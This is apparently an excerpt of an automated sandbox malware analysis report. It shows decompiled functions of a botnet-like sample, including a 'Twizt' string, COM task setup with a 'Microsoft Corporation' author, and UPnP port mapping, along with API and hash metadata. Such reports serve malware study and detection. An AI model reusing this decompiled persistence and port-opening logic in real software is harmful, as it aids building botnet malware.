				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_v8 = 0;
				_v20 = 0;
				while(1) {
					_t95 = E00405830(0x411fec, 0x411ffc); // executed
					_t200 = _t199 + 8;
					_v28 = _t95;
					if(_v28 == 0) {
						break;
					}
					_push( &_v32);
					_push(_v28);
					if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x1c))))() == 0) {
						_t101 =  *((intOrPtr*)( *((intOrPtr*)( *_v32 + 0x1c))))(_v32,  &_v16); // executed
						if(_t101 == 0) {
							_t103 =  *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x20))))(_v16,  &_v36); // executed
							if(_t103 == 0) {
								if(_v36 == 0xffffffff) {
									_push( &_v12);
									_push(_v16);
									if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x50))))() == 0) {
										_push( &_v24);
										_push(_a4);
										_push(_v12);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x28))))() != 0) {
											_t110 = E00405830(0x41200c, 0x41201c);
											_t199 = _t200 + 8;
											_v24 = _t110;
											if(_v24 != 0) {
												__imp__#2(L"Microsoft Corporation");
												_v8 = _t110;
												if(_v8 != 0) {
													_push(_v8);
													_push(_v24);
													if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x20))))() == 0) {
														_push(_a4);
														_push(_v24);
														if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x28))))() == 0) {
															_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
															if(_t118 == 0) {
																 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x20))))(_v12, _v24);
																_t118 = 0;
																if(0 != 0) {
																	continue;
																}
																L34:
																if(_v20 != 0) {
																	_t118 = E00408B60(_v20);
																}
																if(_v8 != 0) {
																	__imp__#6(_v8);
																}
																if(_v24 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
																}
																if(_v12 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
																}
																if(_v16 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
																}
																if(_v32 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v32 + 8))))(_v32);
																}
																if(_v28 == 0) {
																	return _t118;
																} else {
																	_t122 =  *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28); // executed
																	return _t122;
																}
															}
															goto L34;
														}
														goto L34;
													}
													goto L34;
												}
												goto L34;
											}
											goto L34;
										}
										_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x44))))(_v24,  &_v36);
										if(_t118 == 0) {
											if(_v36 != 0xffffffff) {
												 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x48))))(_v24, 0xffffffff);
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
											} else {
												_v40 = 0;
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x34))))(_v24,  &_v40);
												if(_t118 == 0 && _v40 != 0) {
													_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
												}
											}
										}
										goto L34;
									}
									goto L34;
								}
								goto L34;
							}
							goto L34;
						}
						goto L34;
					}
					goto L34;
				}
				goto L34;
			}




















                                                                                                                                                                                                                                                                                                                                                      0x00405886
                                                                                                                                                                                                                                                                                                                                                      0x0040588d
                                                                                                                                                                                                                                                                                                                                                      0x00405894
                                                                                                                                                                                                                                                                                                                                                      0x0040589b
                                                                                                                                                                                                                                                                                                                                                      0x004058a2
                                                                                                                                                                                                                                                                                                                                                      0x004058a9
                                                                                                                                                                                                                                                                                                                                                      0x004058b0
                                                                                                                                                                                                                                                                                                                                                      0x004058b7
                                                                                                                                                                                                                                                                                                                                                      0x004058c1
                                                                                                                                                                                                                                                                                                                                                      0x004058c6
                                                                                                                                                                                                                                                                                                                                                      0x004058c9
                                                                                                                                                                                                                                                                                                                                                      0x004058d0
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004058da
                                                                                                                                                                                                                                                                                                                                                      0x004058e3
                                                                                                                                                                                                                                                                                                                                                      0x004058eb
                                                                                                                                                                                                                                                                                                                                                      0x00405902
                                                                                                                                                                                                                                                                                                                                                      0x00405906
                                                                                                                                                                                                                                                                                                                                                      0x0040591d
                                                                                                                                                                                                                                                                                                                                                      0x00405921
                                                                                                                                                                                                                                                                                                                                                      0x0040592f
                                                                                                                                                                                                                                                                                                                                                      0x00405939
                                                                                                                                                                                                                                                                                                                                                      0x00405942
                                                                                                                                                                                                                                                                                                                                                      0x0040594a
                                                                                                                                                                                                                                                                                                                                                      0x00405954
                                                                                                                                                                                                                                                                                                                                                      0x00405958
                                                                                                                                                                                                                                                                                                                                                      0x00405961
                                                                                                                                                                                                                                                                                                                                                      0x00405969
                                                                                                                                                                                                                                                                                                                                                      0x004059f3
                                                                                                                                                                                                                                                                                                                                                      0x004059f8
                                                                                                                                                                                                                                                                                                                                                      0x004059fb
                                                                                                                                                                                                                                                                                                                                                      0x00405a02
                                                                                                                                                                                                                                                                                                                                                      0x00405a0b
                                                                                                                                                                                                                                                                                                                                                      0x00405a11
                                                                                                                                                                                                                                                                                                                                                      0x00405a18
                                                                                                                                                                                                                                                                                                                                                      0x00405a1f
                                                                                                                                                                                                                                                                                                                                                      0x00405a28
                                                                                                                                                                                                                                                                                                                                                      0x00405a30
                                                                                                                                                                                                                                                                                                                                                      0x00405a37
                                                                                                                                                                                                                                                                                                                                                      0x00405a40
                                                                                                                                                                                                                                                                                                                                                      0x00405a48
                                                                                                                                                                                                                                                                                                                                                      0x00405a5a
                                                                                                                                                                                                                                                                                                                                                      0x00405a5e
                                                                                                                                                                                                                                                                                                                                                      0x00405a72
                                                                                                                                                                                                                                                                                                                                                      0x00405a74
                                                                                                                                                                                                                                                                                                                                                      0x00405a76
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a7c
                                                                                                                                                                                                                                                                                                                                                      0x00405a80
                                                                                                                                                                                                                                                                                                                                                      0x00405a86
                                                                                                                                                                                                                                                                                                                                                      0x00405a8b
                                                                                                                                                                                                                                                                                                                                                      0x00405a92
                                                                                                                                                                                                                                                                                                                                                      0x00405a98
                                                                                                                                                                                                                                                                                                                                                      0x00405a98
                                                                                                                                                                                                                                                                                                                                                      0x00405aa2
                                                                                                                                                                                                                                                                                                                                                      0x00405ab0
                                                                                                                                                                                                                                                                                                                                                      0x00405ab0
                                                                                                                                                                                                                                                                                                                                                      0x00405ab6
                                                                                                                                                                                                                                                                                                                                                      0x00405ac4
                                                                                                                                                                                                                                                                                                                                                      0x00405ac4
                                                                                                                                                                                                                                                                                                                                                      0x00405aca
                                                                                                                                                                                                                                                                                                                                                      0x00405ad8
                                                                                                                                                                                                                                                                                                                                                      0x00405ad8
                                                                                                                                                                                                                                                                                                                                                      0x00405ade
                                                                                                                                                                                                                                                                                                                                                      0x00405aec
                                                                                                                                                                                                                                                                                                                                                      0x00405aec
                                                                                                                                                                                                                                                                                                                                                      0x00405af2
                                                                                                                                                                                                                                                                                                                                                      0x00405b05
                                                                                                                                                                                                                                                                                                                                                      0x00405af4
                                                                                                                                                                                                                                                                                                                                                      0x00405b00
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405b00
                                                                                                                                                                                                                                                                                                                                                      0x00405af2
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a60
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a4a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a32
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a1a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405a04
                                                                                                                                                                                                                                                                                                                                                      0x0040597b
                                                                                                                                                                                                                                                                                                                                                      0x0040597f
                                                                                                                                                                                                                                                                                                                                                      0x0040598d
                                                                                                                                                                                                                                                                                                                                                      0x004059d2
                                                                                                                                                                                                                                                                                                                                                      0x004059e2
                                                                                                                                                                                                                                                                                                                                                      0x0040598f
                                                                                                                                                                                                                                                                                                                                                      0x0040598f
                                                                                                                                                                                                                                                                                                                                                      0x004059a6
                                                                                                                                                                                                                                                                                                                                                      0x004059aa
                                                                                                                                                                                                                                                                                                                                                      0x004059c0
                                                                                                                                                                                                                                                                                                                                                      0x004059c0
                                                                                                                                                                                                                                                                                                                                                      0x004059c2
                                                                                                                                                                                                                                                                                                                                                      0x004059e4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040597f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040594c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405931
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405923
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405908
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004058ed
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00405830: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00405850
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 00405A98
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateFreeInstanceString
                                                                                                                                                                                                                                                                                                                                                      • String ID: Microsoft Corporation
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 586785272-3838278685
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 3535f275e0d98ec4a5296607280e851b25c45ee1d7c9a1f90e063708d69ceb67
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 55b1ef43589e7e732987ef2980dbe053c12765c6c5de1358ba9547e8818813c4
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3535f275e0d98ec4a5296607280e851b25c45ee1d7c9a1f90e063708d69ceb67
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2E91C975A0050ADFCB04DB98C994EAFB7B5EF88314F208269E515B73A0D734AE41CFA5
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040CF10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 82%
                                                                                                                                                                                                                                                                                                                                                      			E0040CF10() {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t20;
				intOrPtr _t26;
				intOrPtr _t31;
				void* _t36;
				void* _t37;

				__imp__CoInitializeEx(0, 2); // executed
				_v12 = 0;
				_t20 = E0040C470( &_v12,  &_v12); // executed
				_t37 = _t36 + 4;
				_v8 = _t20;
				if(_v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_t20 = E0040CB20( *((intOrPtr*)(_v12 + _v16 * 4)));
						_t37 = _t37 + 4;
						 *0x4156dc = _t20;
						if( *0x4156dc == 0) {
							_v16 = _v16 + 1;
							continue;
						}
						_v20 = E00409430();
						_t31 =  *0x4156dc; // 0x0
						E0040CE90(_t31, _t31, "TCP", 0x9e34, _v20);
						_t26 =  *0x4156dc; // 0x0
						_t20 = E0040CE90(_t31, _t26, "UDP", 0x9e34, _v20);
						_t37 = _t37 + 0x20;
						break;
					}
					return E00408C80(_t20, _v8, _v12, _v8);
				}
				return _t20;
			}












                                                                                                                                                                                                                                                                                                                                                      0x0040cf1a
                                                                                                                                                                                                                                                                                                                                                      0x0040cf20
                                                                                                                                                                                                                                                                                                                                                      0x0040cf2b
                                                                                                                                                                                                                                                                                                                                                      0x0040cf30
                                                                                                                                                                                                                                                                                                                                                      0x0040cf33
                                                                                                                                                                                                                                                                                                                                                      0x0040cf3a
                                                                                                                                                                                                                                                                                                                                                      0x0040cf40
                                                                                                                                                                                                                                                                                                                                                      0x0040cf52
                                                                                                                                                                                                                                                                                                                                                      0x0040cf64
                                                                                                                                                                                                                                                                                                                                                      0x0040cf69
                                                                                                                                                                                                                                                                                                                                                      0x0040cf6c
                                                                                                                                                                                                                                                                                                                                                      0x0040cf78
                                                                                                                                                                                                                                                                                                                                                      0x0040cf4f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040cf4f
                                                                                                                                                                                                                                                                                                                                                      0x0040cf7f
                                                                                                                                                                                                                                                                                                                                                      0x0040cf90
                                                                                                                                                                                                                                                                                                                                                      0x0040cf97
                                                                                                                                                                                                                                                                                                                                                      0x0040cfad
                                                                                                                                                                                                                                                                                                                                                      0x0040cfb3
                                                                                                                                                                                                                                                                                                                                                      0x0040cfb8
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040cfb8
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040cfcc
                                                                                                                                                                                                                                                                                                                                                      0x0040cfd2

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CoInitializeEx.OLE32(00000000,00000002,?,?,?,00406424), ref: 0040CF1A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: socket.WS2_32(00000002,00000002,00000011), ref: 0040C48A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: htons.WS2_32(0000076C), ref: 0040C4C0
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: inet_addr.WS2_32(239.255.255.250), ref: 0040C4CF
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C4ED
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: bind.WS2_32(000000FF,?,00000010), ref: 0040C523
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: lstrlenA.KERNEL32(00410558,00000000,?,00000010), ref: 0040C53C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: sendto.WS2_32(000000FF,00410558,00000000), ref: 0040C54B
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C470: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C565
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040CB20: SysFreeString.OLEAUT32(00000000), ref: 0040CBFB
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040CB20: SysFreeString.OLEAUT32(00000000), ref: 0040CC05
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID: TCP$UDP
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1519345861-1097902612
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: b23955f82ad740c6fc9952af490be07d5f99902bf7a15e6b7e22476a6b17889b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7980f018718c5a7cf75dd436cb71b586f895944f9189d1e6d61c69674e67b648
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b23955f82ad740c6fc9952af490be07d5f99902bf7a15e6b7e22476a6b17889b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 151184B5E00208EBD700EBD4EC86BEEB375EB44308F50866AF505772C1D7785A41CB9A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040B5F0 Relevance: 4.6, APIs: 3, Instructions: 120COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 86%
                                                                                                                                                                                                                                                                                                                                                      			E0040B5F0(LONG* _a4, intOrPtr _a8) {
				char _v5;
				intOrPtr _v12;
				signed int _v13;
				char _v20;
				intOrPtr _v24;
				intOrPtr _t38;
				signed char _t43;
				signed char _t48;
				intOrPtr _t49;
				signed char _t53;
				intOrPtr _t72;
				void* _t80;
				void* _t81;
				void* _t84;

				if(InterlockedExchangeAdd(_a4, 0) == 0) {
					_v5 = 0;
					_t38 = E0040B500(_t37, _a4[1]); // executed
					_t81 = _t80 + 4;
					_v12 = _t38;
					if(_v12 == 0xffffffff) {
						L18:
						return _v5;
					}
					InterlockedIncrement(_a4);
					while(1) {
						_t72 =  *0x4156cc; // 0x81a93ee8
						_t43 = E00409FA0(_v12, 0, _t72, 0, _a8, E0040B3D0, 0);
						_t81 = _t81 + 0x1c;
						_t63 = _t43 & 0x000000ff;
						if((_t43 & 0x000000ff) == 0) {
							break;
						}
						_v13 = 1;
						while((_v13 & 0x000000ff) != 0) {
							_v13 = 0;
							_t48 = E0040B430(_v12,  &_v20, 4, 0x2710);
							_t81 = _t81 + 0x10;
							if((_t48 & 0x000000ff) == 0 || _v20 == 0) {
								L15:
								continue;
							} else {
								_t49 = E00408A10(_v20);
								_t81 = _t81 + 4;
								_v24 = _t49;
								if(_v24 != 0) {
									_t53 = E0040B430(_v12, _v24, _v20, E0040B590(_v20));
									_t84 = _t81 + 0x14;
									if((_t53 & 0x000000ff) != 0) {
										E0040A100(_v12, _v24, _v20, _a4[1], E0040B3D0, 0, 0);
										_t84 = _t84 + 0x1c;
										_v13 = 1;
									}
									E00408B60(_v24);
									_t81 = _t84 + 4;
									goto L15;
								}
								break;
							}
						}
						_v5 = 1;
						if(0 != 0) {
							continue;
						}
						L17:
						InterlockedDecrement(_a4);
						E004094F0(_v12);
						goto L18;
					}
					E004093D0(_t63, _a4[1]);
					_t81 = _t81 + 4;
					goto L17;
				}
				return 0;
			}

















                                                                                                                                                                                                                                                                                                                                                      0x0040b604
                                                                                                                                                                                                                                                                                                                                                      0x0040b60d
                                                                                                                                                                                                                                                                                                                                                      0x0040b618
                                                                                                                                                                                                                                                                                                                                                      0x0040b61d
                                                                                                                                                                                                                                                                                                                                                      0x0040b620
                                                                                                                                                                                                                                                                                                                                                      0x0040b627
                                                                                                                                                                                                                                                                                                                                                      0x0040b746
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b746
                                                                                                                                                                                                                                                                                                                                                      0x0040b631
                                                                                                                                                                                                                                                                                                                                                      0x0040b637
                                                                                                                                                                                                                                                                                                                                                      0x0040b644
                                                                                                                                                                                                                                                                                                                                                      0x0040b651
                                                                                                                                                                                                                                                                                                                                                      0x0040b656
                                                                                                                                                                                                                                                                                                                                                      0x0040b659
                                                                                                                                                                                                                                                                                                                                                      0x0040b65e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b674
                                                                                                                                                                                                                                                                                                                                                      0x0040b678
                                                                                                                                                                                                                                                                                                                                                      0x0040b684
                                                                                                                                                                                                                                                                                                                                                      0x0040b697
                                                                                                                                                                                                                                                                                                                                                      0x0040b69c
                                                                                                                                                                                                                                                                                                                                                      0x0040b6a4
                                                                                                                                                                                                                                                                                                                                                      0x0040b71f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b6ac
                                                                                                                                                                                                                                                                                                                                                      0x0040b6b0
                                                                                                                                                                                                                                                                                                                                                      0x0040b6b5
                                                                                                                                                                                                                                                                                                                                                      0x0040b6b8
                                                                                                                                                                                                                                                                                                                                                      0x0040b6bf
                                                                                                                                                                                                                                                                                                                                                      0x0040b6dc
                                                                                                                                                                                                                                                                                                                                                      0x0040b6e1
                                                                                                                                                                                                                                                                                                                                                      0x0040b6e9
                                                                                                                                                                                                                                                                                                                                                      0x0040b707
                                                                                                                                                                                                                                                                                                                                                      0x0040b70c
                                                                                                                                                                                                                                                                                                                                                      0x0040b70f
                                                                                                                                                                                                                                                                                                                                                      0x0040b70f
                                                                                                                                                                                                                                                                                                                                                      0x0040b717
                                                                                                                                                                                                                                                                                                                                                      0x0040b71c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b71c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b6c1
                                                                                                                                                                                                                                                                                                                                                      0x0040b6a4
                                                                                                                                                                                                                                                                                                                                                      0x0040b724
                                                                                                                                                                                                                                                                                                                                                      0x0040b72a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b730
                                                                                                                                                                                                                                                                                                                                                      0x0040b734
                                                                                                                                                                                                                                                                                                                                                      0x0040b73e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b743
                                                                                                                                                                                                                                                                                                                                                      0x0040b667
                                                                                                                                                                                                                                                                                                                                                      0x0040b66c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b66c
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040B5FC
                                                                                                                                                                                                                                                                                                                                                      • InterlockedIncrement.KERNEL32(000000FF), ref: 0040B631
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(000000FF), ref: 0040B734
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Interlocked$DecrementExchangeIncrement
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2813130747-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ba231ae6638dfa74787b10fe1c5b3d5401e686476b6b67364e9417b3ce167ed2
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: e1fa13fd2a876695d9ed319c877b16eab0fd5374efccb808880d7c36dad3c60e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ba231ae6638dfa74787b10fe1c5b3d5401e686476b6b67364e9417b3ce167ed2
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4A41B0B5A00208ABDB04DBA5D845FBF7774AB48304F148569F505BB3C2E779EA0187EE
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409DB0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 53stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 79%
                                                                                                                                                                                                                                                                                                                                                      			E00409DB0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				char _v9;
				intOrPtr _v16;
				intOrPtr _t23;

				_t23 = E0040A7E0(__ecx); // executed
				 *((intOrPtr*)(_a8 + 4)) = _t23;
				_t4 = _a8 + 0x14; // 0x1023d00
				 *_a8 = E00408D30(_a8 + 4,  *_t4 + 0x14);
				_v9 = 0;
				_t9 = _a8 + 0x14; // 0x1023d00
				_v16 =  *_t9 + 0x18;
				_v8 = E0040AA70( *_t9 + 0x18, "Twizt", lstrlenA("Twizt"), _a8, _v16);
				if(_v8 != 0) {
					_v9 = _a12(_a4, _v8, _v16, _a16);
					E00408B60(_v8);
				}
				return _v9;
			}







                                                                                                                                                                                                                                                                                                                                                      0x00409db6
                                                                                                                                                                                                                                                                                                                                                      0x00409dbe
                                                                                                                                                                                                                                                                                                                                                      0x00409dc4
                                                                                                                                                                                                                                                                                                                                                      0x00409ddd
                                                                                                                                                                                                                                                                                                                                                      0x00409ddf
                                                                                                                                                                                                                                                                                                                                                      0x00409de6
                                                                                                                                                                                                                                                                                                                                                      0x00409dec
                                                                                                                                                                                                                                                                                                                                                      0x00409e10
                                                                                                                                                                                                                                                                                                                                                      0x00409e17
                                                                                                                                                                                                                                                                                                                                                      0x00409e2c
                                                                                                                                                                                                                                                                                                                                                      0x00409e33
                                                                                                                                                                                                                                                                                                                                                      0x00409e38
                                                                                                                                                                                                                                                                                                                                                      0x00409e41

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrlenA.KERNEL32(Twizt,0040BE69,0040BE69,?,?,0040BE69,00000000,0040BE69,0040BE69,00000000,00000000), ref: 00409DFC
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: lstrlen
                                                                                                                                                                                                                                                                                                                                                      • String ID: Twizt$Twizt
